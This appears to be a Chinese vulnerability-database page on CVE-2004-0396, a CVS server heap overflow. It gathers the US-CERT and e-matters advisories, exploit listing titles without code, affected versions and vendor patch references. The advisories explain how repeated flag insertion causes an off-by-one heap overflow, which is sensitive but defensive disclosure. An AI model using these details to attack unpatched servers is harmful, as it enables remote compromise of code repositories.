CVE-2004-0396
[点击下载]

Remote CVS exploit for versions 1.11.15 and below that makes use of the Argumentx error_prog_name double free heap overflow on RedHat 8.0.

- 漏洞信息 (F33438)

Technical Cyber Security Alert 2004-147A (PacketStormID:F33438)
2004-05-28 00:00:00
US-CERT  us-cert.gov
advisory,remote,overflow,arbitrary
CVE-2004-0396
[点击下载]

Technical Cyber Security Alert TA04-147A - A heap overflow vulnerability in the Concurrent Versions System (CVS) could allow a remote attacker to execute arbitrary code on a vulnerable system. Systems affected: Concurrent Versions System (CVS) versions prior to 1.11.16. CVS Features versions prior to 1.12.8.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

           Technical Cyber Security Alert TA04-147A

               CVS Heap Overflow Vulnerability

   Original release date: May 26, 2004
   Last revised: --
   Source: US-CERT

Systems Affected

     * Concurrent Versions System (CVS) versions prior to 1.11.16
     * CVS Features versions prior to 1.12.8

Overview

   A heap overflow vulnerability in the Concurrent Versions System (CVS)
   could allow a remote attacker to execute arbitrary code on a
   vulnerable system.

I. Description

   CVS is a source code maintenance system that is widely used by
   open-source software development projects. There is a heap memory
   overflow vulnerability in the way CVS handles the insertion of
   modified and unchanged flags within entry lines. When processing an
   entry line, an additional byte of memory is allocated to flag the
   entry as modified or unchanged. There is a failure to check if a byte
   has been previously allocated for the flag, which creates an
   off-by-one buffer overflow. By calling a vulnerable function several
   times and inserting specific characters into the entry lines, a remote
   attacker could overwrite multiple blocks of memory. In some
   environments, the CVS server process is started by the Internet
   services daemon (inetd) and may run with root privileges.

   An authenticated client could exploit this vulnerability to execute
   arbitrary code, execute commands, modify sensitive information, or
   cause a denial of service. Note that if a CVS server is configured to
   permit anonymous read-only access, then this provides sufficient
   access to exploit a vulnerable server, as anonymous users are
   authenticated through the cvspserver process.

   US-CERT is tracking this issue as VU#192038. This reference number
   corresponds to CVE candidate CAN-2004-0396.

II. Impact

   An authenticated client could exploit this vulnerability to execute
   arbitrary code on the vulnerable system with the privileges of the CVS
   server process. It is possible for an anonymous user with read-only
   access to exploit a vulnerable server as they are authenticated
   through the cvspserver process.

   In addition to compromising the system running CVS, there is a
   significant secondary impact in that source code maintained in CVS
   repositories could be modified to include Trojan horses, backdoors, or
   other malicious code.

III. Solution

   Apply Patch or Upgrade

     Apply the appropriate patch or upgrade as specified by your vendor.
     For vendor specific responses, please see your vendor's website or
     Vulnerability Note VU#192038.

     This issue has been resolved in Stable CVS Version 1.11.16 and CVS
     Feature Version 1.12.8.

   Disable CVS Server

     Until a patch or upgrade can be applied, consider disabling the CVS
     server.

   Block or Restrict Access

     Block or restrict access to the CVS server from untrusted hosts and
     networks. The CVS server typically listens on 2401/tcp, but may use
     another port or protocol.
     Limit CVS Server Privileges
     * Configure CVS server to run in a restricted (chroot) environment.
     * Run CVS servers with the minimum set of privileges required on the
       host file system.
     * Provide separate systems for development (write) and
       public/anonymous (read-only) CVS access.
     * Host public/anonymous CVS servers on single-purpose, secured
       systems.

     Note that some of these workarounds will only limit the scope and
     impact of possible attacks. Note also that anonymous (read-only)
     access is sufficent to exploit this vulnerability.

Appendix B. References

     * http://security.e-matters.de/advisories/072004.html
     * http://secunia.com/advisories/11641/
     * http://www.securitytracker.com/alerts/2004/May/1010208.html
     * http://www.netsys.com/library/papers/chrooted-ssh-cvs-server.txt
  _________________________________________________________________

   US-CERT thanks Stefan Esser of e-matters for reporting this problem
   and for information used to construct this advisory.
  _________________________________________________________________

   Feedback can be directed to the authors: Jason A. Rafail and 
   Damon Morda
  _________________________________________________________________

   The latest version of this document can be found at:
   
     <http://www.us-cert.gov/cas/techalerts/TA04-147A.html>
  _________________________________________________________________
   
   Copyright 2004 Carnegie Mellon University.
   
   Terms of use:

     <http://www.us-cert.gov/legal.html>

  _________________________________________________________________

   Revision History

   May 26, 2004: Initial release
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQFAtLe5XlvNRxAkFWARAr2XAKDPDLKJJKbP3aSmuEU9uOm1cNdxrQCfUXdT
UIlGMjabcCC02Ye9x9UXFzk=
=/0Hb
-----END PGP SIGNATURE-----
    

- 漏洞信息 (F33385)

cvs_solaris_HEAP.c (PacketStormID:F33385)
2004-05-20 00:00:00
 
exploit,remote,root
solaris
CVE-2004-0396
[点击下载]

Remote root exploit for stable CVS releases up to 1.11.15 and CVS feature releases up to 1.12.7. Solaris version. Anonymously submitted.

- 漏洞信息 (F33384)

cvs_linux_freebsd_HEAP.c (PacketStormID:F33384)
2004-05-20 00:00:00
 
exploit,remote,root
linux,freebsd
CVE-2004-0396
[点击下载]

Remote root exploit for stable CVS releases up to 1.11.15 and CVS feature releases up to 1.12.7. Linux and FreeBSD version. Anonymously submitted.

- 漏洞信息 (F33370)

072004.txt (PacketStormID:F33370)
2004-05-19 00:00:00
Stefan Esser  security.e-matters.de
advisory,overflow,arbitrary
CVE-2004-0396
[点击下载]

Stable CVS releases up to 1.11.15 and CVS feature releases up to 1.12.7 both contain a flaw when deciding if a CVS entry line should get a modified or unchanged flag attached. This results in a heap overflow which can be exploited to execute arbitrary code on the CVS server. This could allow a repository compromise.

e-matters GmbH
                          www.e-matters.de

                      -= Security  Advisory =-



     Advisory: CVS remote vulnerability
 Release Date: 2004/05/19
Last Modified: 2004/05/19
       Author: Stefan Esser [s.esser@e-matters.de]

  Application: CVS feature release <= 1.12.7
               CVS stable release  <= 1.11.15
     Severity: A vulnerability within CVS allows remote compromise of
               CVS servers.
         Risk: Critical
Vendor Status: Vendor is releasing a bugfixed version.
    Reference: http://security.e-matters.de/advisories/072004.html


Overview:

   Concurrent Versions System (CVS) is the dominant open-source version 
   control software that allows developers to access the latest code using
   a network connection. 
   
   Stable CVS releases up to 1.11.15 and CVS feature releases up to 1.12.7
   both contain a flaw when deciding if a CVS entry line should get a 
   modified or unchanged flag attached. This results in a heap overflow
   which can be exploited to execute arbitrary code on the CVS server.
   This could allow a repository compromise.
      
   
Details:
   
   While auditing the CVS source a flaw within the handling of modified
   and unchanged flag insertion into entry lines was discovered.
   
   When the client sends an entry line to the server an additional byte
   is allocated to have enough space for later flagging the entry as
   modified or unchanged. In both cases the check if such a flag is
   already attached is flawed. This allows to insert M or = chars into
   the middle of a user supplied string one by one for every call to
   one of these functions.
   
   It should be obvious that already the second call could possibly
   overflow the allocated buffer by shifting the part after the 
   insertion point one char backward. If the alignment of the block
   is choosen wisely this is already exploitable by malloc() off-by-one
   exploitation techniques. However carefully crafted commands allow 
   the functions to be called several times to overwrite even more
   bytes (although this is not really needed if you want to exploit 
   this bug on f.e. glibc based systems).
   

Proof of Concept:

   e-matters is not going to release an exploit for this vulnerability to
   the public.
   

Disclosure Timeline:

   02. May 2004 - CVS developers and vendor-sec were notified by email
                  Derek Robert Price replied nearly immediately that the
		  issue is fixed
   03. May 2004 - Pre-notification process of important repositories
                  was started
   11. May 2004 - Sourceforge discovered that the patch breaks 
                  compatibility with some pserver protocol violating 
		  versions of WinCVS/TortoiseCVS
   12. May 2004 - Pre-notified repositories were warned about this 
                  problem with a more compatible patch.
   19. May 2004 - Coordinated Public Disclosure

   
CVE Information:

   The Common Vulnerabilities and Exposures project (cve.mitre.org) has
   assigned the name CAN-2004-0396 to this issue.


Recommendation:

   Recommended is an immediate update to the new version. Additionally you
   should consider running your CVS server chrooted over SSH instead of 
   using the :pserver: method. You can find a tutorial how to setup such a
   server at
   
   http://www.netsys.com/library/papers/chrooted-ssh-cvs-server.txt
   
   
GPG-Key:

   http://security.e-matters.de/gpg_key.asc
    
   pub  1024D/3004C4BC 2004-05-17 e-matters GmbH - Securityteam 
   Key fingerprint = 3FFB 7C86 7BE8 6981 D1DA  A71A 6F7D 572D 3004 C4BC


Copyright 2004 Stefan Esser. All rights reserved.

    

- 漏洞信息

6305
CVS pserver Line Entry Handling Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in CVS. The issue is due to a boundary error within the handling of modified or unchanged flag insertion into CVS entry lines, resulting in a heap overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2004-05-19 Unknow
2004-05-19 Unknow

- 解决方案

Upgrade to version 1.12.8 (feature release) or 1.11.16 (stable release) or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

CVS Malformed Entry Modified and Unchanged Flag Insertion Heap Overflow Vulnerability
Boundary Condition Error 10384
Yes No
2004-05-19 12:00:00 2009-07-12 05:16:00
This issue was discovered by Stefan Esser <s.esser@ematters.de>.

- 受影响的程序版本

NetBSD NetBSD 1.6.2
NetBSD NetBSD 1.6.1
NetBSD NetBSD 1.6
NetBSD NetBSD Current
Gentoo Linux 1.4
CVS CVS 1.12.7
CVS CVS 1.12.5
+ OpenPKG OpenPKG 2.0
CVS CVS 1.12.2
+ OpenPKG OpenPKG Current
CVS CVS 1.12.1
+ OpenPKG OpenPKG 1.3
CVS CVS 1.11.15
CVS CVS 1.11.14
+ MandrakeSoft Corporate Server 2.1 x86_64
+ MandrakeSoft Corporate Server 2.1
+ Mandriva Linux Mandrake 10.0
+ Mandriva Linux Mandrake 9.2 amd64
+ Mandriva Linux Mandrake 9.2
+ Mandriva Linux Mandrake 9.1 ppc
+ Mandriva Linux Mandrake 9.1
CVS CVS 1.11.11
CVS CVS 1.11.10
CVS CVS 1.11.6
+ S.u.S.E. Linux Personal 9.0 x86_64
+ S.u.S.E. Linux Personal 9.0
CVS CVS 1.11.5
+ OpenPKG OpenPKG 1.2
+ S.u.S.E. Linux Personal 8.2
CVS CVS 1.11.4
CVS CVS 1.11.3
CVS CVS 1.11.2
+ Mandriva Linux Mandrake 9.0
+ RedHat Linux 8.0 i386
+ RedHat Linux 8.0
+ Slackware Linux 8.1
CVS CVS 1.11.1 p1
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
+ OpenBSD OpenBSD 3.5
+ OpenBSD OpenBSD 3.4
+ OpenBSD OpenBSD 3.3
+ OpenBSD OpenBSD 3.2
+ OpenBSD OpenBSD 3.1
+ Red Hat Linux 6.2
+ RedHat Linux 7.3 i386
+ RedHat Linux 7.3
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.2 alpha
+ RedHat Linux 7.2
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.1 alpha
+ RedHat Linux 7.1
+ RedHat Linux 7.0 sparc
+ RedHat Linux 7.0 i386
+ RedHat Linux 7.0 alpha
+ RedHat Linux 7.0
+ RedHat Linux 6.2 sparc
+ RedHat Linux 6.2 i386
+ S.u.S.E. Linux 8.1
+ S.u.S.E. Linux 8.0
+ Wirex Immunix OS 7.0
+ Wirex Immunix OS 7+
CVS CVS 1.11.1
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
CVS CVS 1.11
+ Caldera OpenLinux Server 3.1.1
+ Caldera OpenLinux Server 3.1
+ Caldera OpenLinux Workstation 3.1.1
+ Caldera OpenLinux Workstation 3.1
+ Conectiva Linux 8.0
+ Conectiva Linux 7.0
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
CVS CVS 1.10.8
+ Conectiva Linux 6.0
+ MandrakeSoft Single Network Firewall 7.2
+ Mandriva Linux Mandrake 7.2
CVS CVS 1.10.7
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 IA-32
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
CVS CVS 1.12.8
CVS CVS 1.11.16

- 不受影响的程序版本

CVS CVS 1.12.8
CVS CVS 1.11.16

- 漏洞讨论

CVS is prone to a remote heap overflow vulnerability. This issue presents itself during the handling of user-supplied input for entry lines with 'modified' and 'unchanged' flags. This vulnerability can allow an attacker to overflow a vulnerable buffer on the heap, possibly leading to arbitrary code execution.

CVS versions 1.11.15 and prior and CVS feature versions 1.12.7 and prior are prone to this issue.

**UPDATE: Symantec has confirmed that this vulnerability is being actively exploited in the wild. Administrators are urged to upgrade and block external access to potentially vulnerable servers, if possible.

- 漏洞利用

CORE has developed a working commercial exploit for their IMPACT
product. This exploit is not otherwise publicly available or known
to be circulating in the wild.

Symantec has confirmed successful exploitation of this vulnerability in the wild. The following exploit code has been published:

- 解决方案

Debian has released an advisory DSA 505-1 to address this issue. Please see the referenced advisory for more information.

SuSE has released an advisory SuSE-SA:2004:013 to address this issue. Please see the referenced advisory for more information.

A FreeBSD advisory (FreeBSD-SA-04:10.cvs) is available that includes information about how to address this issue. Please see the attached advisory for further information.

OpenPKG has released advisory OpenPKG-SA-2004.022 that adresses this issue. Please see the attached advisory for further information.

Mandrake Linux has released advisory MDKSA-2004:048 and fixes dealing with this issue. Please see the referenced advisory for more information.

RedHat has released advisory FEDORA-2004-126 to provide fixes for Fedora Core 1. Please see the attached advisory for details on obtaining and applying fixes.

RedHat has released advisory FEDORA-2004-131 to provide fixes for Fedora Core 2. Please see the attached advisory for details on obtaining and applying fixes.

RedHat has released advisory RHSA-2004:190-14 to provide fixes for this issue. Please see the attached advisory in web references for details on obtaining and applying fixes.

A Slackware advisory (SSA:2004-140-01) is available that provides updates for this issue. Please see the attached advisory for further details.

Gentoo has released advisory GLSA 200405-12 to provide fixes for this issue. Please see the attached advisory for further details. It is recommended that affected users issue the following commands as superuser:
emerge sync
emerge -pv ">=dev-util/cvs-1.11.16"
emerge ">=dev-util/cvs-1.11.16"

OpenBSD has released patches to resolve this issue in versions 3.4 and 3.5. Please see the patch files themselves for instructions on applying them to your system. Please see the referenced announcement from Otto Moerbeek for more information.

CVS versions 1.11.16 and 1.12.8 have been released to address this issue.

Turbolinux has released advisory TLSA-2004-15 to provide fixes for this issue. Please see the attached advisory for further details.

Silicon Graphics has released advisory 20040508-01-U and fixes dealing with this and other issues for SGI ProPack 2.4. Please see the referenced advisory for more information.

NetBSD has released advisory 2004-008 addressing this issue. Please see the referenced advisory for further information:

Red Hat Fedora Legacy advisory FLSA-2004:1620 has been released dealing with this and other issues for Red Hat 7.3 and 9.0. Please see the referenced advisory for more information.

An Immunix Linux upgrade has been made available.


CVS CVS 1.10.7

CVS CVS 1.10.8

CVS CVS 1.11

CVS CVS 1.11.1 p1

CVS CVS 1.11.1

CVS CVS 1.11.10

CVS CVS 1.11.11

CVS CVS 1.11.14

CVS CVS 1.11.15

CVS CVS 1.11.2

CVS CVS 1.11.3

CVS CVS 1.11.4

CVS CVS 1.11.5

CVS CVS 1.11.6

CVS CVS 1.12.1

CVS CVS 1.12.2

CVS CVS 1.12.5

CVS CVS 1.12.7

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站